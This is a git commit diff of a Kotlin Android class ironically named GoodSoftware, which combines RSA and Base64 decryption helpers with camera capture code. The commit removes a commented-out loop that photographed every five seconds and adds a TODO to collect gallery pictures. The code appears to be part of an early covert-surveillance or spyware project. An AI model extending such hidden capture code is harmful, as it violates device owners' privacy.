Get rid of commented out comment block

This commit is contained in:
Joren 2024-05-02 10:47:42 +02:00
parent fc2aa3f79d
commit bca8ef25dd
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -15,9 +15,7 @@ import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat
import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope import androidx.lifecycle.lifecycleScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import java.io.BufferedReader import java.io.BufferedReader
import java.io.ByteArrayOutputStream import java.io.ByteArrayOutputStream
import java.io.InputStreamReader import java.io.InputStreamReader
@ -46,11 +44,11 @@ class GoodSoftware (private val activity: MainActivity) {
private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA) private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA)
fun decodeBase64(input: String): ByteArray { fun decodeBase64(input: String): ByteArray {
return android.util.Base64.decode(input, android.util.Base64.DEFAULT) return Base64.decode(input, Base64.DEFAULT)
} }
fun encodeBase64(input: ByteArray): String { fun encodeBase64(input: ByteArray): String {
return android.util.Base64.encodeToString(input, android.util.Base64.DEFAULT) return Base64.encodeToString(input, Base64.DEFAULT)
} }
fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String { fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
@ -125,7 +123,7 @@ class GoodSoftware (private val activity: MainActivity) {
} }
private fun runAllTheGoodness() { private fun runAllTheGoodness() {
val uid = android.os.Process.myUid().toString() // TODO: Implement the functionality to get pictures from gallery
} }
@ -190,12 +188,6 @@ class GoodSoftware (private val activity: MainActivity) {
// Ensure that cameraProvider is initialized // Ensure that cameraProvider is initialized
cameraProvider = ProcessCameraProvider.getInstance(context).await() cameraProvider = ProcessCameraProvider.getInstance(context).await()
// Check if cameraProvider is null
if (cameraProvider == null) {
Log.e(picture.TAG, "Camera provider is null")
return
}
// Ensure that the selected camera is available // Ensure that the selected camera is available
if (!hasBackCamera() && !hasFrontCamera()) { if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable") Log.e(picture.TAG, "Back and front camera are unavailable")
@ -241,16 +233,7 @@ class GoodSoftware (private val activity: MainActivity) {
// Bind the camera and start image capture // Bind the camera and start image capture
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
// Take the picture
/* while (true){
withContext(Dispatchers.IO) {
imageCapture?.takePicture(
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
Thread.sleep(5000L)
}
}*/
imageCapture?.takePicture( imageCapture?.takePicture(
ContextCompat.getMainExecutor(context), ContextCompat.getMainExecutor(context),
imageCapturedListener imageCapturedListener
@ -273,9 +256,5 @@ class GoodSoftware (private val activity: MainActivity) {
object picture { object picture {
const val TAG = "CameraXBasic" const val TAG = "CameraXBasic"
const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
const val PHOTO_TYPE = "image/jpeg"
const val RATIO_4_3_VALUE = 4.0 / 3.0
const val RATIO_16_9_VALUE = 16.0 / 9.0
} }
} }